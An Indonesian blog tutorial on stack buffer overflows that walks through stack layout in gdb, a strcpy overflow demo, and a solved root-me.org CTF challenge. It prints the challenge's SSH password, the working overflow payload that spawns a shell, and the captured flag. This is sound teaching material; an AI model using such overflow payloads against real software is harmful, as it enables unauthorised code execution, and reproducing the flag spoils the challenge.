Stack Buffer Overflow : Part I

Assalamualaikum Wr Wb. kembali dengan saya, kali ini saya akan memberikan tutorial yg cukup dasar dibanding 2 artikel sebelumnya. artikel kali ini saya akan membahas tentang stack buffer overflow exploit dengan contoh2 program sederhana dan kita coba mengexploit program2 itu, agar kita bisa mengerti bagaimana cara kerja buffer overflow.

History

Stack Buffer overflow sudah lama sekitar tahun 1972 menurut artikel wikipedia [1]. Publikasi tentang stack buffer overflow yg terkenal bisa kita temukan di phrack magazine, yg ditulis oleh Aleph One dibuat tahun 1996, tulisan itulah yg menjelaskan secara jelas, dan langkah2 untuk mengexploitasi buffer overflow. sehingga banyak tulisan maupun jurnal yg mengambil referensi dari tulisan si Aleph One

Intro

Apa itu buffer? Apa yg dimaksud dengan buffer.. buffer adalah lokasi di suatu memori yg disediakan oleh program untuk menyimpan data. dan stack berarti buffer tersebut berada di stack. Sebuah program biasanya akan menyimpan variable maupun data distack, contohnya seperti program sederhana dibawah ini.

#include <stdio.h>

void panggil(){
    int x = 0x40;
    char b[] = "ABCD";
}

int main(void){
    int i = 0x8;
    int j = 0x20;
    panggil();
}

Ok, mari kita mulai dengan program yg sangat sederhana, program diatas mempunyai 2 fungsi, main dan panggil. kedua fungsi tersebut hanya mengisi variable. kita akan melihat dimana sebenarnya variable2 tersebut disimpan, dengan cara membongkar binarynya, dan melihat hasil disassembly program itu. Disini saya menggunakan gdb.

ramdhan@n0psledbyt3:~/artikel/simple-bof$ vim variable.c
ramdhan@n0psledbyt3:~/artikel/simple-bof$ gcc -m32 -S -o variable.s variable.c 
ramdhan@n0psledbyt3:~/artikel/simple-bof$ gdb ./variable -q

warning: build/bdist.linux-x86_64/wheel/peda/peda.py: No such file or directory
Reading symbols from ./variable...(no debugging symbols found)...done.
gdb-peda$ disas main
Dump of assembler code for function main:
   0x08048400 <+0>: push   ebp
   0x08048401 <+1>: mov    ebp,esp
   0x08048403 <+3>: sub    esp,0x10
   0x08048406 <+6>: call   0x804842a <__x86.get_pc_thunk.ax>
   0x0804840b <+11>:    add    eax,0x1bf5
   0x08048410 <+16>:    mov    DWORD PTR [ebp-0x4],0x8
   0x08048417 <+23>:    mov    DWORD PTR [ebp-0x8],0x20
   0x0804841e <+30>:    call   0x80483db <panggil>
   0x08048423 <+35>:    mov    eax,0x0
   0x08048428 <+40>:    leave  
   0x08048429 <+41>:    ret    
End of assembler dump.

kode assembly diatas adalah hasil dari translasi yg dilakukan oleh compiler, dengan menerjemahkan bahasa c, ke bahasa mesin
Seperti source code kita sebelumnya, program kita mengisi variable i dengan 0x8 dan mengisi variable j dengan 0x20. Compiler menerjemahkan source code bahasa c kita kedalam assembly. Terlihat diatas, perintah 'disas main' akan menampilkan kode assembly dari fungsi main, mari kita lihat bagian ini

   0x08048410 <+16>:    mov    DWORD PTR [ebp-0x4],0x8
   0x08048417 <+23>:    mov    DWORD PTR [ebp-0x8],0x20
   0x0804841e <+30>:    call   0x80483db <panggil>

Pertama program mengisi nilai 0x8 ke lokasi memori [ebp-0x4], dan 0x20 ke lokasi memori [ebp-0x8]

        +------------+
        |            |   <- ESP
        +------------+
  EBP-8 |    0x20    | 
        +------------+
  EBP-4 |    0x8     |
        +------------+
        |            |   <- EBP
        +------------+

Diatas adalah gambaran ketika program sudah mengisi variable i dan j, inilah maksudnya dimana program mengisi variable2 didalam stack. Selanjutnya program memanggil fungsi call. Ingat fungsi call akan mempush alamat dari intruksi sesudah call kedalam stack, artinya akan mempush nilai (0x08048423) kedalam stack. setelah program sudah sampai ke fungsi panggil (belum mengisi variable), konten stack akan menjadi seperti ini

gdb-peda$ b* panggil
Breakpoint 2 at 0x80483db
gdb-peda$ c

Program sudah sampai di fungsi ‘panggil’, gambaran konten stack saat ini adalah

        +------------+
        |  0x8048423 |   <- ESP
        +------------+
        |    ...     |           `--.
        +------------+              |
  EBP-8 |    0x20    |              | 
        +------------+              |-> lokasi stack fungsi main   
  EBP-4 |    0x8     |              |
        +------------+            ,-'
        |            |   <- EBP  -'   
        +------------+

Sekarang ada perubahan terhadap konten stack, yaitu nilai 0x8048423 yg disebabkan oleh intruksi call mempush alamat sesudah intruksi call, nilai tersebut digunakan oleh intruksi ret untuk kembali ke alamat tsb jika fungsi ‘panggil’ selesai.

gdb-peda$ x/3i $eip
=> 0x80483db <panggil>: push   ebp
   0x80483dc <panggil+1>:   mov    ebp,esp
   0x80483de <panggil+3>:   sub    esp,0x10

Program sudah berada di awal fungsi panggil. diawal fungsi panggil terdapat 3 intruksi (lihat diatas), kegunaan intruksi diatas adalah membuat ruang stack baru diatas lokasi stack fungsi main. pertama program menyimpan ebp ke stack, lalu dengan “mov ebp,esp; sub ebp,0x10” konten stack akan menjadi,

            +------------+
            |            | <- ESP   ; setelah intruksi sub esp,0x10 meyebabkan esp berkurang dan esp menunjuk ke lokasi stack baru
            +------------+
            |     ...    |
            +------------+
            |            |
            +------------+
            |            |
            +------------+
            |            | <- EBP   ; berasal dari fungsi mov ebp,esp
            +------------+ 
            |  SAVED EBP |          ; berasal dari intruksi push ebp. ebp disimpan ke stack
            +------------+
            |  0x8048423 |   
            +------------+
            |    ...     |           `--.
            +------------+              |
SAVED EBP-8 |    0x20    |              |
            +------------+              |-> lokasi stack fungsi main
SAVED EBP-4 |    0x8     |              |  
            +------------+            ,-'
            |            |           -' 
            +------------+

Baca gambaran diatas dari bawah keatas

Sekarang ada ruang baru di stack yg digunakan oleh fungsi panggil, setiap fungsi memiliki ruang stack tersendiri. Sekarang program mengisi variable2 nya ke dalam stack

gdb-peda$ x/3i $eip
=> 0x80483eb <panggil+16>:  mov    DWORD PTR [ebp-0x4],0x40
   0x80483f2 <panggil+23>:  mov    DWORD PTR [ebp-0x9],0x44434241
   0x80483f9 <panggil+30>:  mov    BYTE PTR [ebp-0x5],0x0

Pertama program mengisi [ebp-0x4] dengan 0x40, jika dilihat disource code, ini untuk mengisi variable x. Setelah itu program mengisi 0x44434241, ini adalah ascii dari string “ABCD” dalam bentuk little endian (byte paling tinggi, ditaruh dipaling kiri). setelah itu mrngisi [ebp-0x5] dengan byte 0. 0 ini digunakan untuk mengakhiri string.

            +------------+
            |            | <- ESP  `--.
            +------------+            |
            |     ...    |            |
            +------------+            |-> lokasi stack fungsi panggil
            |  "ABCD"\0  |            |
            +------------+          ,-'
            |    0x40    |         ,'
            +------------+
            |            | <- EBP   
            +------------+
            |  SAVED EBP |         
            +------------+
            |  0x8048423 |
            +------------+
            |    ...     |           `--.
            +------------+              |
SAVED EBP-8 |    0x20    |              |
            +------------+              |-> lokasi stack fungsi main
SAVED EBP-4 |    0x8     |              |
            +------------+            ,-'
            |            |           -'
            +------------+

Semua variable sudah disimpan. Paling tidak kita sudah tau, bagaimana variable2 disimpan ke dalam stack. Ketika fungsi panggil selesai, stack akan kembali ke posisi awal, sebelum fungsi “panggil” dilaksanakan. sekarang kita akan berlanjut ke contoh berikutnya

Buffer Overwrite

#include <stdio.h>
#include <string.h>
int main(int argc, char** argv){
    int j = 0xcafebabe;
    char str[12];
    if( argc > 1)
        strcpy(str,argv[1]);           # strcpy doesn't check length of str
    printf("nilai j adalah 0x%x\n",j);
}

Program ini adalah contoh dimana buffer overflow bisa dilakukan, bisa kita liat, program menggunakan fungsi strcpy, untuk mencopy string yang berada di argv[1] ke variable str, variable str dialokasikan 12byte, sementara fungsi strcpy tidak mengecek panjang input, hal ini bisa membuat input yg lebih dari 12byte, menimpa variable lainnya yg juga berada didalam stack. Compile program diatas, dan coba jalankan

ramdhan@n0psledbyt3:~/artikel/simple-bof$ gcc -fno-stack-protector -m32 -o bof variable-overflow.c 
ramdhan@n0psledbyt3:~/artikel/simple-bof$ ./bof
nilai j adalah 0xcafebabe
ramdhan@n0psledbyt3:~/artikel/simple-bof$ ./bof AAAAA
nilai j adalah 0xcafebabe
ramdhan@n0psledbyt3:~/artikel/simple-bof$ ./bof AAAAAAAAAAA
nilai j adalah 0xcafebabe

Program berjalan tanpa error, diatas kita inputkan karakter “A” sebanyak 11 byte. variable2 dalam program diatas bisa digambarkan dalam stack seperti dibawah ini

        +------------+
        |    AAAA    | `-.
        +------------+   |
        |    AAAA    |    > alokasi 4*3 byte untuk variable str
        +------------+   |    
        |    AAA\0   | ,-' 
        +------------+
        | 0xcafebabe |
        +------------+

bisa dilihat diatas, string AAAAAAAAAAA yg kita inputkan di argv[1], dicopy ke variable str dengan strcpy. lalu apa yang terjadi ketika kita menginputkan data di argv[1] lebih dari 12byte ?

ramdhan@n0psledbyt3:~/artikel/simple-bof$ ./bof AAAAAAAAAAA
nilai j adalah 0xcafebabe
ramdhan@n0psledbyt3:~/artikel/simple-bof$ ./bof AAAAAAAAAAAA    # 12byte
nilai j adalah 0xcafeba00
ramdhan@n0psledbyt3:~/artikel/simple-bof$ ./bof AAAAAAAAAAAAA    # 13byte
nilai j adalah 0xcafe0041
ramdhan@n0psledbyt3:~/artikel/simple-bof$ ./bof AAAAAAAAAAAAAA    # 14byte
nilai j adalah 0xca004141
ramdhan@n0psledbyt3:~/artikel/simple-bof$ ./bof AAAAAAAAAAAAAAA    # 15byte
nilai j adalah 0x414141
ramdhan@n0psledbyt3:~/artikel/simple-bof$ ./bof AAAAAAAAAAAAAAAA    # 16byte
nilai j adalah 0x41414141
Segmentation fault

wow, variable j berubah alias teroverwrite. variable str dialokasikan 12byte, sedangkan inputan kita melebihi dari 12byte. hal ini menyebabkan overflow dan mengoverwrite variable lainnya yg juga berada didalam stack. bug buffer overflow ini sangan berbahaya selain bisa mengoverwrite isi variable lain, bug ini juga bisa mengubah arah eksekusi program artinya kita bisa menguasai si program itu, dan melakukan apapun sesuai keinginan kita, paling bahaya adalah bisa mengambil alih system, mendapatkan shell, dll.

Sekarang mari kita contoh lain, kita akan mencoba mengerjakan sebuah challenge ctf yg mirip seperti yg kita bahas tadi. Challenge ctf yg akan kita kerjakan adalah ctf http://www.root-me.org dengan judul challenge "ELF x86 – Stack buffer overflow basic 1". Kita download file2nya didalam ssh, karna kita akan mengerjakannya di lokal. Password untuk login ke ssh adalah "app-systeme-ch13"

ramdhan@n0psledbyt3:~/artikel/simple-bof$ sftp -P 2222 app-systeme-ch13@challenge02.root-me.org ch13
      _           _ _                        ___ ____  
  ___| |__   __ _| | | ___ _ __   __ _  ___ / _ \___ \ 
 / __| '_ \ / _` | | |/ _ \ '_ \ / _` |/ _ \ | | |__) |
| (__| | | | (_| | | |  __/ | | | (_| |  __/ |_| / __/ 
 \___|_| |_|\__,_|_|_|\___|_| |_|\__, |\___|\___/_____|
                                 |___/ root-me.org     

app-systeme-ch13@challenge02.root-me.org's password: 
Connected to challenge02.root-me.org.
sftp> get ch13
Fetching /challenge/app-systeme/ch13/ch13 to ch13
/challenge/app-systeme/ch13/ch13                                                                                   100% 7304     4.7KB/s   00:01    
sftp> get ch13.c
Fetching /challenge/app-systeme/ch13/ch13.c to ch13.c
/challenge/app-systeme/ch13/ch13.c                                                                                 100%  528     0.4KB/s   00:01    
sftp> exit
ramdhan@n0psledbyt3:~/artikel/simple-bof$ ls
ch13  ch13.c

Source code dari ch13.

#include <stdlib.h>
#include <stdio.h>

/*
gcc -m32 -o ch13 ch13.c -fno-stack-protector
*/


int main()
{

  int var;
  int check = 0x04030201;
  char buf[40];                        // alokasi 40byte utuk variable 40byte

  fgets(buf,45,stdin);                 // meminta input sebanyak 45 karakter

  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);

  if ((check != 0x04030201) && (check != 0xdeadbeef))
    printf ("\nYou are on the right way!\n");

  if (check == 0xdeadbeef)
   {
     printf("Yeah dude! You win!\nOpening your shell...\n");
     system("/bin/dash");
     printf("Shell closed! Bye.\n");
   }
   return 0;
}

Kita tahu apa yang harus kita lakukan. Kita harus mengoverwrite variable check agar bernilai 0xdeadbeef supaya kita akan mendapatkan akses shell. input dibaca dari stdin. kita menggunakan bantuan python untuk menginputkan ke stdin dengan pipe |. sekarang kita coba menginputkan 40byte

ramdhan@n0psledbyt3:~/artikel/simple-bof$ python -c 'print "A"*40' | ./ch13 

[buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[check] 0x403000a

You are on the right way!

dengan inputan 40byte variable check sudah berubah (teroverwrite), karena diakhir string ada karakter newline (0xa) dan null byte.

ramdhan@n0psledbyt3:~/artikel/simple-bof$ python -c 'print "A"*40+"BBBB"' | ./ch13 

[buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
[check] 0x42424242

You are on the right way!

variable check sudah bisa kita kuasai. kita harus mengubah variable check menjadi 0xdeadbeef

ramdhan@n0psledbyt3:~/artikel/simple-bof$ python -c 'print "A"*40+"\xde\xad\xbe\xef"' | ./ch13 

[buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAޭ��
[check] 0xefbeadde

You are on the right way!

Ups, sepertinya terbalik karna ini little endian inputan harus dibalik menjadi "\xef\xbe\xad\xde" (byte rendah ditaruh diakhir), sekarang kita inputkan sekali lagi.

ramdhan@n0psledbyt3:~/artikel/simple-bof$ python -c 'print "A"*40+"\xef\xbe\xad\xde"' | ./ch13 

[buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ�
[check] 0xdeadbeef
Yeah dude! You win!
Opening your shell...
Shell closed! Bye.

Nah, kita sudah mengubah variable check menjadi 0xdeadbeef, tapi kita belum mendapatkan shell, agar kita bisa mendapatkan shell kita perlu menambahkan cat – sebelum tanda pipe, agar kita bisa memasukkan perintah2 ke stdin. kita akan mencoba langsung di server sshnya

app-systeme-ch13@challenge02:~$ cat .passwd
cat: .passwd: Permission denied
app-systeme-ch13@challenge02:~$ (python -c 'print "A"*40+"\xef\xbe\xad\xde"'; cat -) | ./ch13 

[buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ�
[check] 0xdeadbeef
Yeah dude! You win!
Opening your shell...
whoami
app-systeme-ch13-cracked
ls -a
.  ..  ch13  ch13.c  .passwd
cat .passwd 
1w4ntm0r3pr0np1s

Mantap, kita sudah mendapatkan akses shell dan bisa membaca file .passwd

4 thoughts on “Stack Buffer Overflow : Part I

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s